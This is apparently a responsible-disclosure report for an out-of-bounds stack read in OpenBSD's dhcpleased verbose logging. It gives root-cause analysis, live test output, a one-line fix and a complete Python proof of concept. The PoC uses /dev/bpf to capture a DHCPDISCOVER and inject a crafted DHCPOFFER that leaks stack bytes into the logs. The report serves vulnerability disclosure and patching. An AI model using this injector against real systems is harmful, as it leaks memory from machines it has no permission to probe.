Verbose-mode-gated stack OOB read in dhcpleased.
A DHCPOFFER with a DHO_DOMAIN_NAME_SERVERS option of length >= 36 bytes
causes the log loop at sbin/dhcpleased/engine.c:1042-1049 to iterate
past the 8-element nameservers[] array, emitting adjacent stack
contents through inet_ntop + log_debug.
Not reachable on a default install (gated on `dhcpleased -vv`).
The defect
----------
sbin/dhcpleased/engine.c:1042-1049 (DHO_DOMAIN_NAME_SERVERS branch):
uint32_t nameservers[MAX_RDNS_COUNT]; /* MAX_RDNS_COUNT == 8 */
...
if (log_getverbose() > 1) {
for (i = 0; i < MINIMUM(sizeof(nameservers),
dho_len / sizeof(nameservers[0])); i++) {
log_debug("DHO_DOMAIN_NAME_SERVERS: %s ...", inet_ntop(...));
}
}
sizeof(nameservers) is 32 (BYTES). dho_len / sizeof(nameservers[0])
is a COUNT. MINIMUM compares incompatible units. For dho_len >= 36
the COUNT side is >= 9; MINIMUM returns 9..32 and the loop iterates
past nameservers[7].
The earlier memcpy that populates nameservers[] is correctly bounded
in BYTES; only the log loop has the units mismatch.
Trigger arithmetic:
dho_len = 36 -> 9 iterations -> 1 OOB read
dho_len = 64 -> 16 iterations -> 8 OOB reads
dho_len >= 128 -> 32 iterations -> 24 OOB reads (capped)
Worst case: 96 bytes of adjacent stack rendered as dotted-quads and
emitted via log_debug.
Live test
---------
Stock 7.8 amd64 /sbin/dhcpleased run as `dhcpleased -dvv` against a
vether0 interface set `inet autoconf`. PoC BPF-injected a DHCPOFFER.
dho_len=128, iterations 9-12 (immediately past nameservers[7]):
DHO_DOMAIN_NAME_SERVERS: 102.101.58.101 (9/32)
DHO_DOMAIN_NAME_SERVERS: 49.58.98.97 (10/32)
DHO_DOMAIN_NAME_SERVERS: 58.100.48.58 (11/32)
DHO_DOMAIN_NAME_SERVERS: 50.100.48.51 (12/32)
These dotted-quads decode to ASCII:
102.101.58.101 = 0x66 65 3a 65 = "fe:e"
49.58.98.97 = 0x31 3a 62 61 = "1:ba"
58.100.48.58 = 0x3a 64 30 3a = ":d0:"
50.100.48.51 = 0x32 64 3a 33 = "2d:3"
= "fe:e1:ba:d0:2d:3" -- the start of vether0's interface MAC sitting
as an ASCII string in an adjacent stack buffer.
3/3 deterministic across dho_len in {36, 64, 128}. Daemon does not
crash; ProPolice canary is not crossed (read stays in-frame).
Proposed fix
------------
Two-character change at sbin/dhcpleased/engine.c:1042 -- switch the
left side of MINIMUM from sizeof() to nitems():
if (log_getverbose() > 1) {
- for (i = 0; i < MINIMUM(sizeof(nameservers),
+ for (i = 0; i < MINIMUM(nitems(nameservers),
dho_len / sizeof(nameservers[0])); i++) {
log_debug("DHO_DOMAIN_NAME_SERVERS: %s ...", inet_ntop(...));
}
}
nitems(nameservers) is 8 -- matches the units of the right side.
No semantic change for dho_len < 36; for dho_len >= 36 the loop is
correctly bounded to 8 iterations.
PoC available on request (Python, stdlib only).
No public disclosure planned until you've had time to fix.
Stuart Thomas
#!/usr/bin/env python3
"""
dhcpleased_pwn.py â live-test reproducer for DHCPLEASED-001.
Stack-buffer-overflow READ in OpenBSD dhcpleased verbose-mode log loop
(engine.c:1042-1049). Units-confusion: MINIMUM(sizeof(nameservers),
dho_len/sizeof(nameservers[0])) â first arg is BYTES (32), second is COUNT.
Iteration count exceeds the 8-element nameservers[] array when dho_len >= 36.
The bug is INFO-DISCLOSURE only â daemon does not crash; OOB stack bytes
are formatted via inet_ntop into log_debug lines emitted to stdout (when
running -d) or syslog. Gated on `dhcpleased -vv` (verbose>=2).
Mode: this script runs ON THE OPENBSD TARGET (madHatter) and uses /dev/bpf
to (a) read the DISCOVER that dhcpleased emits, capturing its xid; (b) write
back a crafted DHCPOFFER with a DHO_DOMAIN_NAME_SERVERS option of length
N*4 (N >= 9) to trigger the OOB read.
Usage on madHatter:
# In a separate window:
# pkill dhcpleased
# dhcpleased -d -vv -i vether0 2>&1 | tee /tmp/dhcpleased.log
# Then:
python3 dhcpleased_pwn.py --iface vether0 --dho-len 128
Output: prints DISCOVER capture details and the crafted OFFER; expects to
see N nameservers logged by dhcpleased (vs the source-correct cap of 8).
"""
import argparse
import fcntl
import os
import socket
import struct
import sys
import time
# -- /dev/bpf ioctls (OpenBSD values, from /usr/include/net/bpf.h) ----------
# These are derived from _IOR/_IOW macros. OpenBSD uses the same layout as
# other BSDs: dir<<30 | len<<16 | group<<8 | num.
BIOCSETIF = 0x8020426c # _IOW('B', 108, struct ifreq)
BIOCIMMEDIATE = 0x80044270 # _IOW('B', 112, u_int)
BIOCGBLEN = 0x40044266 # _IOR('B', 102, u_int)
BIOCSBLEN = 0xc0044266 # _IOWR('B', 102, u_int)
BIOCPROMISC = 0x20004269 # _IO('B', 105)
BIOCSHDRCMPLT = 0x80044275 # _IOW('B', 117, u_int)
BIOCSDIRFILT = 0x8004427d # _IOW('B', 125, u_int) â OpenBSD direction filter
# Direction filter bits: bit0=in, bit1=out. Set bit1 to filter OUT outbound;
# we want to RX only inbound, so filter mask should be 2 (drop outbound).
BPF_DIRECTION_OUT = 2
BIOCFLUSH = 0x20004268 # _IO('B', 104)
# -- helpers ----------------------------------------------------------------
def u8(v): return bytes([v & 0xff])
def u16(v): return struct.pack("!H", v & 0xffff)
def u32(v): return struct.pack("!I", v & 0xffffffff)
def ip_checksum(data: bytes) -> int:
if len(data) % 2:
data += b"\x00"
s = 0
for i in range(0, len(data), 2):
s += (data[i] << 8) | data[i+1]
while s >> 16:
s = (s & 0xffff) + (s >> 16)
return (~s) & 0xffff
def udp_checksum(src_ip: bytes, dst_ip: bytes, sport: int, dport: int,
payload: bytes) -> int:
udp_len = 8 + len(payload)
pseudo = src_ip + dst_ip + b"\x00\x11" + struct.pack("!H", udp_len)
udp_hdr = struct.pack("!HHHH", sport, dport, udp_len, 0)
return ip_checksum(pseudo + udp_hdr + payload)
# -- BPF open/bind ----------------------------------------------------------
def open_bpf(iface: str):
"""Open /dev/bpf, bind to iface, set immediate mode, return (fd, buflen)."""
fd = os.open("/dev/bpf", os.O_RDWR)
# Set buffer length BEFORE binding to interface
blen = struct.pack("I", 32768)
fcntl.ioctl(fd, BIOCSBLEN, blen)
blen = struct.unpack("I", fcntl.ioctl(fd, BIOCGBLEN, b"\x00"*4))[0]
# Bind to iface
ifr = iface.encode() + b"\x00" * (32 - len(iface))
fcntl.ioctl(fd, BIOCSETIF, ifr)
# Immediate mode (don't buffer)
fcntl.ioctl(fd, BIOCIMMEDIATE, struct.pack("I", 1))
# Header complete: we provide full ethernet header on writes
fcntl.ioctl(fd, BIOCSHDRCMPLT, struct.pack("I", 1))
# (Direction filter omitted â parse_dhcp_discover filters by dport==67)
return fd, blen
# -- bpf_hdr decode --------------------------------------------------------
# struct bpf_hdr { struct bpf_timeval bh_tstamp; u_int32_t bh_caplen;
# u_int32_t bh_datalen; u_int16_t bh_hdrlen; }
# OpenBSD bpf_timeval = { int32_t tv_sec; int32_t tv_usec; } => 8 bytes.
def parse_bpf_buf(buf: bytes):
"""Yield (timestamp, pkt_bytes) for each packet in a BPF read buffer."""
off = 0
while off < len(buf):
if off + 18 > len(buf):
break
tv_sec, tv_usec, caplen, datalen, hdrlen = struct.unpack(
"iiIIH", buf[off:off+18]
)
pkt_start = off + hdrlen
pkt_end = pkt_start + caplen
if pkt_end > len(buf):
break
yield (tv_sec + tv_usec / 1e6, buf[pkt_start:pkt_end])
# Advance to next packet, BPF_WORDALIGN to u_int32
rec_len = hdrlen + caplen
rec_len = (rec_len + 3) & ~3
off += rec_len
# -- DHCP parse -------------------------------------------------------------
def parse_dhcp_discover(pkt: bytes):
"""Parse Ether+IPv4+UDP+BOOTP. Return (xid, chaddr6, src_mac) or None."""
if len(pkt) < 14 + 20 + 8 + 240:
return None
eth_dst = pkt[0:6]; eth_src = pkt[6:12]; eth_type = pkt[12:14]
if eth_type != b"\x08\x00":
return None
ip = pkt[14:]
ip_ihl = (ip[0] & 0x0f) * 4
ip_proto = ip[9]
if ip_proto != 0x11: # UDP
return None
udp = ip[ip_ihl:]
sport, dport = struct.unpack("!HH", udp[:4])
if dport != 67: # to-server
return None
bootp = udp[8:]
op = bootp[0]
if op != 1: # BOOTREQUEST
return None
xid = struct.unpack("!I", bootp[4:8])[0]
chaddr = bootp[28:28+16]
return (xid, chaddr[:6], eth_src)
# -- Build DHCPOFFER --------------------------------------------------------
def build_offer(src_mac: bytes, dst_mac: bytes,
src_ip: str, dst_ip: str,
xid: int, chaddr6: bytes, yiaddr: str,
dho_len: int) -> bytes:
"""Build a full Ether+IP+UDP+DHCPOFFER packet.
dho_len is the length of the DHO_DOMAIN_NAME_SERVERS option payload (bytes).
Must be multiple of 4. dho_len >= 36 triggers the OOB read in the log loop.
"""
assert dho_len % 4 == 0, "dho_len must be multiple of 4"
src_ip_b = socket.inet_aton(src_ip)
dst_ip_b = socket.inet_aton(dst_ip)
yiaddr_b = socket.inet_aton(yiaddr)
# BOOTP / DHCP header (236 bytes)
bootp = u8(2) # op = BOOTREPLY
bootp += u8(1) # htype = Ethernet
bootp += u8(6) # hlen
bootp += u8(0) # hops
bootp += u32(xid) # xid
bootp += u16(0) # secs
bootp += u16(0) # flags (unicast)
bootp += b"\x00"*4 # ciaddr
bootp += yiaddr_b # yiaddr (offered)
bootp += src_ip_b # siaddr (server)
bootp += b"\x00"*4 # giaddr
bootp += chaddr6 + b"\x00"*10 # chaddr (16B, only first 6 used)
bootp += b"\x00"*64 # sname
bootp += b"\x00"*128 # file
assert len(bootp) == 236
# Magic cookie
bootp += b"\x63\x82\x53\x63"
# DHCP Options
opts = b""
opts += u8(53) + u8(1) + u8(2) # MSG_TYPE = OFFER
opts += u8(54) + u8(4) + src_ip_b # SERVER_IDENTIFIER
opts += u8(51) + u8(4) + u32(3600) # LEASE_TIME
opts += u8(1) + u8(4) + b"\xff\xff\xff\x00" # SUBNET_MASK 255.255.255.0
# *** THE TRIGGER ***
# DHO_DOMAIN_NAME_SERVERS (option 6), len = dho_len
# Pattern bytes designed to be distinctive in the log output: each IPv4
# carries the iteration index in the first octet so we can see how far
# past the array the loop went.
ns_payload = b""
n_addrs = dho_len // 4
for i in range(n_addrs):
# 10.<idx>.<idx>.<idx> -- recognizable as nameserver[i]
ns_payload += bytes([10, i & 0xff, i & 0xff, i & 0xff])
assert len(ns_payload) == dho_len
opts += u8(6) + u8(dho_len) + ns_payload
opts += u8(255) # END
# pad to a reasonable size
while len(opts) < 60:
opts += b"\x00"
payload = bootp + opts
# UDP
udp_cks = udp_checksum(src_ip_b, dst_ip_b, 67, 68, payload)
udp = struct.pack("!HHHH", 67, 68, 8 + len(payload), udp_cks) + payload
# IPv4
total_len = 20 + len(udp)
ip_hdr = struct.pack("!BBHHHBBH4s4s",
0x45, 0x00, total_len, 0x1234, 0x0000,
64, 17, 0, src_ip_b, dst_ip_b)
ip_cks = ip_checksum(ip_hdr)
ip_hdr = ip_hdr[:10] + struct.pack("!H", ip_cks) + ip_hdr[12:]
# Ethernet
eth = dst_mac + src_mac + b"\x08\x00"
return eth + ip_hdr + udp
# -- main -------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(description="DHCPLEASED-001 live reproducer")
p.add_argument("--iface", default="vether0",
help="Interface (default: vether0)")
p.add_argument("--dho-len", type=int, default=128,
help="DHO_DOMAIN_NAME_SERVERS option length in bytes "
"(must be multiple of 4; >=36 triggers; <=252)")
p.add_argument("--server-ip", default="10.99.99.1",
help="DHCP server IP (synthesised)")
p.add_argument("--client-ip", default="10.99.99.100",
help="yiaddr to offer")
p.add_argument("--server-mac", default="02:11:22:33:44:55",
help="DHCP server MAC (synthesised)")
p.add_argument("--timeout", type=float, default=30.0,
help="Seconds to wait for a DISCOVER")
p.add_argument("--count", type=int, default=1,
help="Number of OFFER variants to send")
args = p.parse_args()
assert 36 <= args.dho_len <= 252, "dho_len must be in [36, 252]"
assert args.dho_len % 4 == 0, "dho_len must be multiple of 4"
print(f"[*] opening BPF on {args.iface}")
fd, blen = open_bpf(args.iface)
print(f"[*] bpf buffer = {blen} bytes")
server_mac = bytes.fromhex(args.server_mac.replace(":", ""))
print(f"[*] waiting up to {args.timeout}s for DHCPDISCOVER on {args.iface}")
print(f"[*] (start dhcpleased -d -vv -i {args.iface} in another window)")
deadline = time.time() + args.timeout
xid = None
chaddr6 = None
client_mac = None
while time.time() < deadline:
try:
buf = os.read(fd, blen)
except BlockingIOError:
time.sleep(0.1)
continue
if not buf:
continue
for ts, pkt in parse_bpf_buf(buf):
r = parse_dhcp_discover(pkt)
if r:
xid, chaddr6, client_mac = r
print(f"[+] captured DISCOVER xid=0x{xid:08x} "
f"chaddr={chaddr6.hex(':')}")
break
if xid is not None:
break
if xid is None:
print("[!] no DISCOVER captured within timeout", file=sys.stderr)
sys.exit(2)
for i in range(args.count):
# Build offer with the configured dho_len (or vary if multiple)
offer = build_offer(
src_mac=server_mac,
dst_mac=client_mac, # send back to dhcpleased
src_ip=args.server_ip,
dst_ip="255.255.255.255", # broadcast so dhcpleased accepts
xid=xid,
chaddr6=chaddr6,
yiaddr=args.client_ip,
dho_len=args.dho_len,
)
print(f"[*] sending OFFER #{i+1} dho_len={args.dho_len} "
f"({args.dho_len//4} nameservers) total {len(offer)}B")
n = os.write(fd, offer)
print(f"[+] wrote {n} bytes to {args.iface}")
time.sleep(0.2)
print("[*] done â inspect dhcpleased -d -vv stdout for the log loop output")
if __name__ == "__main__":
main()